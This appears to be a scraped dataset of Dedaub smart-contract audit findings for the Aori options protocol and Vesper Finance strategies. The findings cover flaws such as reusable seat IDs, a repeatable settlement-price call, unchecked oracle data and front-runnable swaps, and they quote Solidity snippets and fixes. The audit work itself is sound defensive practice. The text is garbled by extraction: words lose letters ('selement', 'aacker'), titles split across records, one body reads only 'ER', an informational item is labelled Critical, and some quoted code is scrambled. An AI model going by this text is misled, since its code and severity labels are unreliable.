AoriSeats::separateSeats does not burn the seatId that gets separated, allowing someone to call the function for the same seatId multiple times. For instance, a seat holder can get innitely many 1-score seats and combine them using AoriSeats::combineSeats to reach maxSeatScore. The user exploiting this will be able to receive the maximum amount of fee rewards when one of their seatIds gets used within the protocol. H2 AoriPut/AoriCall::setSettlementPrice() can be called multiple times, with counter-intuitive results RESOLVED (commit 0b6dd23) The function setSettlementPrice ensures neither that it is called atomically with the rst selement nor that it cannot be called again. function setSettlementPrice() public returns (uint256) { require(block.number >= endingBlock); settlementPrice = uint256(getPrice()); hasEnded = true; return settlementPrice; } As a result, a buyer or seller of an option can wait for an opportune moment to call the function. Indeed, some amount of the same option can be seled in-the-money with some other being seled out-of-the-money. Ideally, the selement price for the entire option should be set once and for all by the rst party that seles (as early as possible after the ending block, which is loosely ensured by at least one of the parties having a nancial incentive to sele at the current price). MEDIUM SEVERITY: 7 ", "labels": ["Dedaub", "Aori", "Severity: High"]}, {"title": "can reuse seatIds with surprising result ", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": " RESOLVED (commit d343c42) Function combineSeats burns two seat NFTs and mints another, at the totalSupply() index. function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { _burn(seatIdOne); _burn(seatIdTwo); uint256 newSeatId = totalSupply(); _safeMint(msg.sender, newSeatId); seatScore[newSeatId] = seatScore[seatIdOne] + seatScore[seatIdTwo]; return seatScore[newSeatId]; } However, the totalSupply() index is not guaranteed to not have been seen before. The totalSupply of an OpenZeppelin ERC721Enumerable is just the length of the enumerability array. When a token is being burned, it is removed from that array, its empty slot swapped with the last element, and the array gets truncated. Therefore, the above code will return as newSeatId an id that was previously used for dierent purposes. Although the seatScore is overwrien in the code, other data (namely, the totalVolumeBySeat) are not, and their old values will be confused with new. The resolution of this issue (possibly by overriding function _beforeTokenTransfer to avoid reusing numbers) should be thoroughly tested, specically by checking the indexes of old/new seatIds. It is unclear to us where the enumerability of NFTs functionality is used anyway. (This may mean that we are missing a potential threat in external use of ids that relates to the above behavior or its x.)", "labels": ["Dedaub", "Aori", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "probably erroneous, fees in a Bid DISMISSED The calculation of fees in Bid::ll assumes that the caller (i.e., the option seller that agrees to the Bid) has already factored the cost of fees into the amountOfOPTION argument. Specically, the amount of options that the bid initiator/creator receives is exactly what the caller of fill has specied in amountOfOPTION but the Bid creators USDC is supposed to cover the cost of both these options (per the options OPTIONPerUSDC factor) and the fees. function fill(uint256 amountOfOPTION, uint256 seatId) public nonReentrant { if(msg.sender == AORISEATSADD.ownerOf(seatId)) { } else { //No taker fees are paid in option tokens, but rather USDC. OPTIONAfterFee = amountOfOPTION; //And the amount of the quote currency the msg.sender will receive USDCToReceive = mulDiv(OPTIONAfterFee, USDCDecimals, OPTIONPerUSDC); USDC.transfer(Ownable(factory).owner(), ownerTxFee); USDC.transfer(AORISEATSADD.ownerOf(seatId), seatTxFee); USDC.transfer(msg.sender, USDCToReceive); //Tracking the liquidity mining rewards AORISEATSADD.addTakerPoints(feeMultiplier * (ownerTxFee / decimalDiff), msg.sender, factory); AORISEATSADD.addTakerPoints(feeMultiplier * (seatTxFee / decimalDiff), AORISEATSADD.ownerOf(seatId), factory); //Tracking the volume in the NFT AORISEATSADD.addTakerVolume(USDCToReceive, seatId, factory); } } This can be argued to be a design decision, but it has several surprising/inconsistent consequences: - It puts a burden on external callers to do this calculation or risk reverting due to insuicient USDC in the contract. - The taker of a Bid pays the fees, but the maker of a Bid gets the points, per the above addTakerPoints call! This is an asymmetry with Ask: whoever pays fees is likely expecting to get points. - Another asymmetry with Asks is that, in an Ask, the above addTakerVolume calculation includes the USDC spent on fees. Here it does not.", "labels": ["Dedaub", "Aori", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "fee distribution in Asks and Bids RESOLVED (commit ccbf56c) Bid::fill features the following logic (analogous logic can be found in Ask::fill): if(msg.sender == AORISEATSADD.ownerOf(seatId)) { } else { //No taker fees are paid in option tokens, but rather USDC. OPTIONAfterFee = amountOfOPTION; //And the amount of the quote currency the msg.sender will receive USDCToReceive = mulDiv(OPTIONAfterFee, USDCDecimals, OPTIONPerUSDC); //1eY = (1eX * 1eY) / 1eX //What the user will receive out of 100 percent in referral fees with a floor of 40 uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; //This means for Aori seat governance they should not allow more than 12 seats to be combined at once uint256 seatScoreFeeInBPS = mulDiv(fee, refRate, 100); uint256 ownerTxFee = mulDiv(USDCToReceive, seatScoreFeeInBPS, 10000); uint256 seatTxFee = mulDiv(USDCToReceive, fee - seatScoreFeeInBPS, 10000); respectively. //Transfers from the msg.sender OPTION.transferFrom(msg.sender, seller, OPTIONAfterFee); //Fee transfers are all in USDC, so for Bids they're routed here //These are to the Factory, the Aori seatholder, then the buyer USDC.transfer(Ownable(factory).owner(), ownerTxFee); USDC.transfer(AORISEATSADD.ownerOf(seatId), seatTxFee); 1 USDC.transfer(msg.sender, USDCToReceive); } In principle, the higher the seat score, the larger the fee rewards that the seatId owner should receive. In the above case, however, a seatId with a higher score will receive fewer fees than a seatId with a lower seat score, simply because fee - seatScoreFeeInBPS will represent a larger value in the case of a lower seat score. Additionally, the owner of the Orderbook contract will be the one receiving the seat fees, while the owner of the seat will receive whatever is left. This is asymmetrical with the logic that AoriPut::mintPut and AoriCall::mintCall implement: the fees //If the owner of the seat is not the caller, calculate and transfer mintingFee = putUSDCFeeCalculator(quantityOfUSDC, AORISEATSADD.getOptionMintingFee()); uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; // Calculating the fees out of 100 to go to the seat owner feeToSeat = (refRate * mintingFee) / 100; optionsToMint = ((quantityOfUSDC - mintingFee) * 10**USDC.decimals()) / strikeInUSDC; //(1e6*1e6) / 1e6 optionsToMintScaled = optionsToMint * decimalDiff; //transfer the USDC and route fees USDC.transferFrom(msg.sender, address(this), optionsToMint); USDC.transferFrom(msg.sender, Ownable(factory).owner(), mintingFee - USDC.transferFrom(msg.sender, AORISEATSADD.ownerOf(seatId), feeToSeat); feeToSeat); The above-mentioned points imply that perhaps the fees of the seat owner and the owner of the Orderbook contract are inverted for both Ask::ll and Bid::ll. 1 M4 The functionality of AoriCall::sellerSettlementITM (and AoriPut::sellerSettlementITM) breaks under intended parameters RESOLVED (commit ccbf56c) Both implementations use the wrong inequality between optionsToSettle and optionsSold (>= should be used instead) function sellerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { uint256 optionsSold = optionSellers[msg.sender]; require(optionsSold > 0 && optionsSold <= optionsToSettle); require(settlementPrice > strikeInUSDC && hasEnded == true); uint256 UNDERLYINGToReceive = ((strikeInUSDC * USDC.decimals()) / settlementPrice) * optionsSold; // (1e6*1e6/1e6) * 1e18 //store the settlement uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; //settle UNDERLYING.transfer(msg.sender, UNDERLYINGToReceive / 10**USDC.decimals()); } Both AoriCall::sellerSettlementITM and AoriPut::sellerSettlementITM will revert if the seller chooses to sele fewer options than his optionSellers balance, breaking part of the intended functionality. Additionally, AoriCall::sellerSettlementITM (the code snippet above) should be computing UNDERLYINGToReceive by multiplying with optionsToSettle and not optionsSold 12 LOW SEVERITY: ", "labels": ["Dedaub", "Aori", "Severity: Medium"]}, {"title": "function can revert, possibly causing UI problem ", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": " PARTLY RESOLVED View functions Ask::getAmountFilled and Bid::getAmountFilled will revert if an aacker sends (even a tiny amount of) extra tokens to the contract (via a direct transfer). This is not a problem at the level of the contract, but could render an unsuspecting UI unusable until there is human intervention, thus causing an eective DoS for lile cost. function getCurrentBalance() public view returns (uint256) { return USDC.balanceOf(address(this)); } function getAmountFilled() public view returns (uint256) { return (USDCSize - getCurrentBalance()); } Similarly, the amounts that these functions return are not to be fully trusted by external agents, as they can be lower than actual.", "labels": ["Dedaub", "Aori", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "(and Bid::fundContract) feature a questionable design (LARGELY) RESOLVED While we did not nd direct consequences in terms of security, the implementation of Ask::fundContract (and Bid::fundContract) raises questions on whether the intended functionality behind the funding of an Ask or a Bid has been fully thought of. function fundContract() public nonReentrant { require(msg.sender == seller); require(OPTION.balanceOf(msg.sender) >= OPTIONSize); OPTION.transferFrom(msg.sender, address(this), OPTIONSize); startingBlock = block.number; endingBlock = block.number + duration; emit OfferFunded(seller, OPTIONSize, duration); 1 } We took note of the following points: - This function can be called multiple times - Anyone may fund an Ask by directly sending OPTION (or USDC in the case of a Bid) tokens to the contract. This has the additional eect of making OPTIONSize (and USDCSize) simply serve as a minimum.", "labels": ["Dedaub", "Aori", "Severity: Low"]}, {"title": "(and AoriPut::getPrice) do not perform staleness checks on the round data received by the Chainlink Aggregator RESOLVED (commits 5338e86, 8a74178) Even though the AggregatorV3::latestRoundData function provides various return values that can be used to check the staleness of an answer (e.g., as the result of oracle downtime or the update round being incomplete at the time of querying), no such checks are performed. function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, //will be 0 if the round is incomplete uint80 answeredInRound ); This can certainly undermine the experience of protocol users, as options will be seled based on stale prices. Prolonged periods of down-time for most of the USDC denominated data-feeds are not likely, but in that scenario there could be direct consequences in terms of the protocol security. L4 Data feed answers that are either negative or zero are not handled consistently RESOLVED (commits d343c42, 1 4aa163c) In principle, the answer that is provided by a Chainlink Aggregator can be 0, but this is not consistently handled throughout AoriCall and AoriPut contracts. Negative answers will cause the selement price to be extremely large because it will have been cast to an uint256. For AoriPut, price answers which are 0 will be silently accepted as selement prices if AoriPut::sellerSettlementITM gets called rst (it could be even called with optionsToSettle being 0) function sellerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { _setSettlementPrice(); uint256 optionsSold = optionSellers[msg.sender]; ... require(optionsSold > 0 && optionsSold <= optionsToSettle); require(strikeInUSDC > settlementPrice && hasEnded == true); uint256 USDCToReceive = ((optionsToSettle / decimalDiff) * settlementPrice) / 10**USDC.decimals(); //((1e18 / 1e12) * 1e6) / 1e6 ... uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; ... } In this scenario, the buyer will never be able to sele in-the-money as all calls to AoriPut::buyerSettlementITM will revert function buyerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { _setSettlementPrice(); require(block.number >= endingBlock && balanceOf[msg.sender] >= 0); 1 require(strikeInUSDC > settlementPrice && settlementPrice != 0); ... } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ID Description N1 Some entities are considered trusted ", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": " INFO The protocol has some centralization risks, with some owner entities considered trusted. For instance, the owner of an Orderbook can claim any tokens (including Options) from any Ask or Bid; the owner of an OrderbookFactory can change external contract addresses that implement signicant functionality. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. 16 ", "labels": ["Dedaub", "Aori", "Severity: Low"]}, {"title": "may lose precisio ", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": " RESOLVED Although the problem is likely very limited, given the expected magnitudes of the numbers, the following arithmetic in AoriCall::mintCall will maintain higher precision with the multiplication performed before the division. AORISEATSADD.addPoints( feeMultiplier * ((mintingFee - feeToSeat) / decimalDiff), msg.sender); AORISEATSADD.addPoints( feeMultiplier * (feeToSeat / decimalDiff), AORISEATSADD.ownerOf(seatId)); same The AoriPut::sellerSettlementITM applies to the following arithmetic operation in ... uint256 USDCToReceive = ((optionsToSettle / decimalDiff) * settlementPrice) / 10**USDC.decimals(); ... ... uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; //settle USDC.transfer(msg.sender, USDCToReceive); In the last snippet, USDCToReceive can end up being zero when optionsToSettle < decimalDiff, in which case the optionSellers balance of the seller will be reduced but without the seller receiving any USDC in return.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "generality? RESOLVED In both AoriPut and AoriCall, it is not clear why the sellerSettlementITM function should allow seling fewer than all the sellers options. There is no nancial sense in doing so: the loss of the option seller is known and is independent of the specics of 1 each buyer. If the seller gets a refund for one buyers options, they might as well get it for all their options, as they stand to gain nothing more by waiting.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "storage variables RESOLVED In AoriSeats, storage variables seatPrice, startingIndex, and startingIndexBlock are unused. The same is true of storage variable ORDERBOOK, which is also misleading, since there will not be a single orderbook.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "storage dereferences RESOLVED Some references to storage can be avoided, for gas savings. For instance, in AoriSeats::combineSeats: function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { require(seatScore[seatIdOne] + seatScore[seatIdTwo] <= maxSeatScore); seatScore[newSeatId] = seatScore[seatIdOne] + seatScore[seatIdTwo]; } could be rewrien as: function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { uint256 newSeatScore = seatScore[seatIdOne] + seatScore[seatIdTwo]; require(newSeatScore <= maxSeatScore); seatScore[newSeatId] = newSeatScore; } The laer avoids three SLOAD instructions.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "term: seller RESOLVED 1 In the Bid contract, calling the initiator of a bid the seller is confusing and inconsistent with other uses of the term throughout. Specically, the initiator of a Bid is the eventual buyer of the option, not its seller.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "variables should be immutable, saving gas and preventing updates upon code changes PARTLY RESOLVED Many storage variables never change after construction and should be declared immutable, so they can be inlined as constants. (Some storage variables can even be declared constant, for compile-time inlining.) These include at least: - Optiontroller: USDC, AORISEATSADD - AoriCall: oracle, AORISEATSADD - AoriPut: USDC, AORISEATSADD - AoriAuctionHouse: weth, duration - Orderbook: USDC, fee_, OPTION - Ask/Bid: AORISEATSADD, USDC, OPTION, OPTIONDecimals, USDCDecimals, decimalDiff.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "(repeated) external calls can be eliminated for gas savings RESOLVED Some external calls can be optimized. - Calls to USDC.decimals() (AoriCall, AoriPut) can be performed once and stored in an immutable variable. - Calls to Ownable(factory).owner() (twice in Ask::withdrawTokens) can be performed once and stored in a local variable.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "handling is inelegant PARTLY RESOLVED 1 Several boolean operations are inelegant and can be simplied for a more professional code look. // AoriSeats::addTakerPoints require(OPTIONTROLLER.checkIsOrder(Orderbook_, msg.sender) == true); -> require(OPTIONTROLLER.checkIsOrder(Orderbook_, msg.sender)); // Ask::cancel, Bid::cancel // (This code is also unnecessary, covered in an earlier require) isFunded() == true -> isFunded() // Ask::isFunded, similar in Ask::isFundedOverOne, // Bid::isFunded, Bid::isFundedOverOne if (OPTION.balanceOf(address(this)) > 0) { return true; } else { return false; } -> return (OPTION.balanceOf(address(this)) > 0); // Optiontroller::checkIsOrder checkIsListedOrderbook(Orderbook_) == true -> checkIsListedOrderbook(Orderbook_)", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "constants in the code PARTLY RESOLVED Ideally, numeric constants should be visible prominently at the top of a contract, instead of being buried in the code, for easier maintainability and readability. 2 There are several instances in the code where we would recommend giving a name to the constant so that it is prominently visible. // AoriAuctionHouse::_safeTransferETH to.call{ value: value, gas: 30_000 }(new bytes(0)); // AoriCall::mintCall, AoriPut::mintPut refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; // AoriCall::callUNDERLYINGFeeCalculator require(UNDERLYING.decimals() == 18); uint256 txFee = (optionsToSettle * fee) / 10000; // AoriPut::putUSDCFeeCalculator uint256 txFee = (quantityOfUSDC * fee) / 10000; // AoriCall::getPrice return (uint256(price) / (10**8 - 10**USDC.decimals())); // AoriPut::getPrice return (uint256(price) / 1e2); // AoriSeats::mintSeat if (currentSeatId % 10 == 0) { // Ask::fill, Bid::fill uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35;", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "code LARGELY RESOLVED Several pieces of code are logically unnecessary or even dead. In AoriPut::sellerSelementITM: 2 require(USDCToReceive <= USDC.balanceOf(address(this)), \"Not enough USDC in contract\"); No similar check occurs elsewhere in the code, and the check is unnecessary because the subsequent transfer would revert anyway. In Ask: function withdrawTokens(address token) public { require(msg.sender == Ownable(factory).owner()); if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(Ownable(factory).owner()).transfer(address(this).balance); } else { } } uint256 balance = IERC20(token).balanceOf(address(this)); safeTransfer(token, Ownable(factory).owner(), balance); function emergencyRetreival(address token) public { // YS:! spell require(msg.sender == Ownable(factory).owner()); IERC20(token).transfer(Ownable(factory).owner(), IERC20(token).balanceOf(address(this))); } The second function (also: misspelling in name) is unnecessary, since it is subsumed by the rst, and even more completely (handling the case of tokens that dont implement a modern transfer). In Ask::fundContract and Bid::fundContract, this assignment is dead code: startingBlock = block.number; 2 In Ask::ll (similarly in Bid::ll), if the code does not change, the introduction and use of an always-zero variable seems pointless: uint256 txFee = 0; USDCAfterFee = (amountOfUSDC - txFee);", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "functions return unnecessarily large arrays DISMISSED All Orderbook::getActive* view functions return arrays that are larger than necessary, with zero items at the end. For example: function getActiveBids() public view returns (Bid[] memory) { Bid[] memory activeBids = new Bid[](bids.length); uint256 count; for (uint256 i; i < bids.length; i++) { Bid bid = Bid(bids[i]); if (bid.isFunded() && !bid.hasEnded()) { activeBids[count++] = bid; } } return activeBids; } External callers should be aware of this convention and not rely on the array length.", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "ER", "labels": ["Dedaub", "Aori", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": "denitions do not handle old tokens RESOLVED In AoriCall the code uses calls to the IERC20 transfer and transferFrom functions, e.g., in: function sellerSettlementOTM() public nonReentrant returns (uint256) { 2 UNDERLYING.transfer(msg.sender, optionsSold); } As well as in: function mintCall(uint256 quantityOfUNDERLYING, uint256 seatId) public nonReentrant returns (uint256) { ... UNDERLYING.transferFrom(msg.sender, address(this), quantityOfUNDERLYING); ... } The denition of the transfer and transferFrom functions used in the contract (from the OpenZeppelin libraries) expects a boolean return value: function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to,uint256 amount) external returns (bool); However, old tokens (most notably USDTthe highest-capitalization ERC-20 token) predate the ERC-20 token specication and support a denition of transfer and transferFrom that does not return anything. Therefore, the current code will revert if used with USDT as the underlying token. However, because it is a stablecoin, we do not expect it to be used as the underlying token of call options. A13 Compiler bugs INFO The code has the compile pragmas 0.8.11^ or 0.8.13^. For deployment, we recommend no floating pragmas, i.e., a specic version, so as to be condent about the baseline guarantees oered by the compiler. Versions 0.8.11 and 0.8.13, in particular, have some 2 known bugs, which we do not believe to aect the correctness of the contracts.", "labels": ["Dedaub", "Aori", "Severity: Critical"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "(or consulting an oracle for pricing) can be front-run Status Open 4 There are many instances of Uniswap/Sushiswap swaps and oracle queries (mainly wrapped in calls to to the internal swapManager.safeGetAmountsOut, swapTokensForExactTokens, bestOutputFixedInput) that can be front-run or return biased results through tilted exchange pools. Fixing this requires careful thought, but the codebase has already started integrating a simple time-weighted average price oracle. function Strategy::_safeSwap, but also as direct calls calls and to We have warned about such swaps in past audits and the saving grace has been that the swapped amounts are small: typically interest/reward payments only. Thus, tilting the exchange pool is not protable for an attacker. In CompoundXYStrategy (which contains many of these calls), swaps are performed not just from the COMP rewards token but also from the collateral token. Similarly, in the Earn strategies, the _convertCollateralToDrip does an unrestricted collateral swap, on the default path (no swapSlippage dened). Swapping collateral (up to all available) should be ne if the only collateral token amounts held in the strategy at the time of the swap are from exchanging COMP or other rewards. Still, this seems like a dangerous practice. Standard background: The problem is that the swap can be sandwiched by an attacker collaborating with a miner. This is a very common pattern in recent months, with MEV (Maximum Extractable Value) attacks for total sums in the hundreds of millions. The current code complexity offers some small protection: typically attackers colluding with miners currently only attack the simplest, lowest-risk (to them) transactions. However, with small code analysis of the Vesper code, an attacker can recognize quickly the potential for sandwiching and issue an attack, rst tilting the swap pool and then restoring it, to retrieve most of the funds swapped by the Vesper code. In the current state of the code, the attacker will likely need to tilt two pools: both Uniswap and Sushiswap. However, this also offers little protection, since they both use similar on-chain price computations and near-identical APIs. In the short-term, deployed code should be closely monitored to ensure the swapped amounts are very small (under 0.3%) relative to the size of the pools involved. Also, if an attack is detected, the contract should be paused to avoid repeat attacks. However, the code should evolve to have an estimate of asset pricing at the earliest possible time! This can be achieved by using the TWAP functionality that is already being added, with some tolerance based on this expected price.", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: High"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "non-standard ERC20 Tokens can be stuck inside the Resolved VFRBuffer 5 The VFRBuffer does not use the safeERC20 library for the transfer of ERC20 tokens. This can cause non-standard tokens (for example USDT) to be unable to be transferred inside the Buffer and get stuck there. This issue would normally be ranked lower, but since USDT is actively used in past strategies, it seems likely to arise with upcoming instantiations of the VFR pool. Medium Severity Nr. Description", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: High"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "rewards might get stuck in CompoundLeverageStrategy Status Dismissed (Normal path: rebalance before migrate) CompoundLeverageStrategy does not offer a way to migrate COMP tokens that might have been left unclaimed by the strategy up to the point of migration. What is more, COMP is declared a reserved token by CompoundMakerStrategy making it impossible to sweep the strategys COMP balance even if a claim is made to Compound after the migration. The _beforeMigration hook should be extended to account for the claim and consequent transfer of COMP tokens to the new strategy as follows: function _beforeMigration(address _newStrategy) internal virtual override { require(IStrategy(_newStrategy).token() == address(cToken), \"wrong-receipt-token\"); minBorrowLimit = 0; // It will calculate amount to repay based on borrow limit and payback all _reinvest(); // Dedaub: Claim COMP and transfer to new strategy. _claimComp(); IERC20(COMP).safeTransfer(_newStrategy,IERC20(COMP).balanceOf(address(this))); }", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "rewards might get stuck in CompoundXYStrategy Dismissed (as above) 6 The _beforeMigration hook of CompoundXYStrategy calls _repay and lets it handle the claim of COMP and its conversion to collateral, thus no COMP needs to be transferred to the new strategy prior to migration. However, the claim in _repay happens only when the condition _repayAmount > _borrowBalanceHere evaluates to true, which might not always hold prior to migration, leading to COMP getting stuck in the strategy. This is because COMP is declared a reserved token and thus cannot be swept after migration.", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "Compound markets are never entered Dismissed (unnecessary) The CompoundLeverageStrategys CToken market Comptroller. This leaves the strategy unable to borrow from the specied CToken. is never entered via Compounds", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "The checkpoint method only considers proting strategies when computing the total prots of a pools strategies Resolved The checkpoint() method of the VFRStablePool iterates over the pools strategies to compute their total prots and update the pools predictedAPY state variable: address[] memory strategies = getStrategies(); uint256 profits; // SL: Is it ok that it doesn't consider strategies at a loss? for (uint256 i = 0; i < strategies.length; i++) { (, uint256 fee, , , uint256 totalDebt, , , ) = IPoolAccountant(poolAccountant).strategy(strategies[i]); uint256 totalValue = IStrategy(strategies[i]).totalValueCurrent(); if (totalValue > totalDebt) { uint256 totalProfits = totalValue - totalDebt; uint256 actualProfits = totalProfits - ((totalProfits * fee) / MAX_BPS); profits += actualProfits; } } The above computation disregards the losses of any strategies that are not proting. Due to that the predicted APY value will not be accurate. 7", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "CompoundXY strategy does not account for rapid rise of Resolved borrow token price (This issue was also used earlier as an example in our architectural recommendations.) The CompoundXY strategy seeks to repay a borrowed amount if its value rises more than expected. However, volatile assets can rise or drop in price dramatically. (E.g., a collateral stablecoin can lose its peg, or a tokens price can double in hours.) This means that the Compound loan may become undercollateralized. In this case, the borrowed amount may be worth more than the collateral, so it would be benecial for the strategy to not repay the loan. Furthermore, it might be the case that the collateral gets liquidated before the strategy rebalances. In this case the strategy will be left with borrow tokens that it can neither transfer nor swap. The strategy can be enhanced to account for the rst of these cases, and the overall architecture can adopt an emergency rescue mechanism for possibly stuck funds. This emergency rescue would be a centralization element, so it should only be authorized by governance. M6 CompoundXYStrategy, CompoundLeverageStrategy: Error code of Mostly Resolved Compound API calls ignored, can lead to silent failure of functionality The calls to many state-altering Compound API calls return an error code, with a 0-value indicating success. These error codes are often ignored, which can cause certain parts of the strategies functionality to fail, silently. The calls with their error status ignored are: CompoundXYStrategy::constructor: Comptroller.enterMarkets() CompoundXYStrategy::updateBorrowCToken: Comptroller.exitMarket(), Comptroller.enterMarkets(), CToken.borrow() CompoundXYStrategy::_mint: CToken.mint() (is returned but not check by the callers of _mint()) CompoundXYStrategy::_reinvest: CToken.borrow() CompoundXYStrategy::_repay: CToken.repayBorrow() CompoundXYStrategy::_withdrawHere: CToken.redeemUnderlying() CompoundLeverageStrategy::_mint: CToken.mint() CompoundLeverageStrategy::_redeemUnderlying: CToken.redeemUnderlying() CToken.redeem(), CompoundLeverageStrategy::_borrowCollateral: CToken.borrow() CompoundLeverageStrategy::_repayBorrow: CToken.repayBorrow() 8 Low Severity Nr. Description", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "ALPHA rewards are not claimed on-chain Status Open The _claimRewardsAndConvertTo() method of the Alpha lend strategy does not do what its name and comments indicate it does. It only converts the claimed ALPHA tokens. The actual claiming of the funds does not appear to happen using an on-chain API.", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "storage eld Resolved In CompoundLeverageStrategy, eld borrowToken is unused. A comment mentions it but does not match the code. L3 Two swaps could be made one, for fee savings Dismissed, detailed consideration In CompoundXYStrategy::_repay, COMP is rst swapped into collateral, and then collateral (which should be primarily, if not exclusively, the swapped COMP) is swapped to the borrow token. This incurs double swap fees. Other/Advisory Issues This section details issues that are not thought to directly affect the functionality of the project, but we recommend addressing. Nr. Description", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "contract seems to serve no purpose Status Open This contract currently does nearly nothing. It is neither inherited nor exports functionality that makes it usable as part of a VFR strategy. 9", "labels": ["Dedaub", "Vesper Pools+Strategies September", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Vesper Finance/Vesper Pools+Strategies September Audit.pdf", "body": "contract is there only for code reuse Open The VFR contract currently has the form: abstract contract VFR { function _transferProfit(...) internal virtual returns (uint256) {...} function _handleStableProfit(...) internal returns (uint256 _profit) {...} function _handleCoverageProfit(...) internal returns (uint256 _profit) {...} } It is, thus, a contract that merely denes internal functions, used via inheritance, for code reuse purposes. Inheritance for code reuse is often 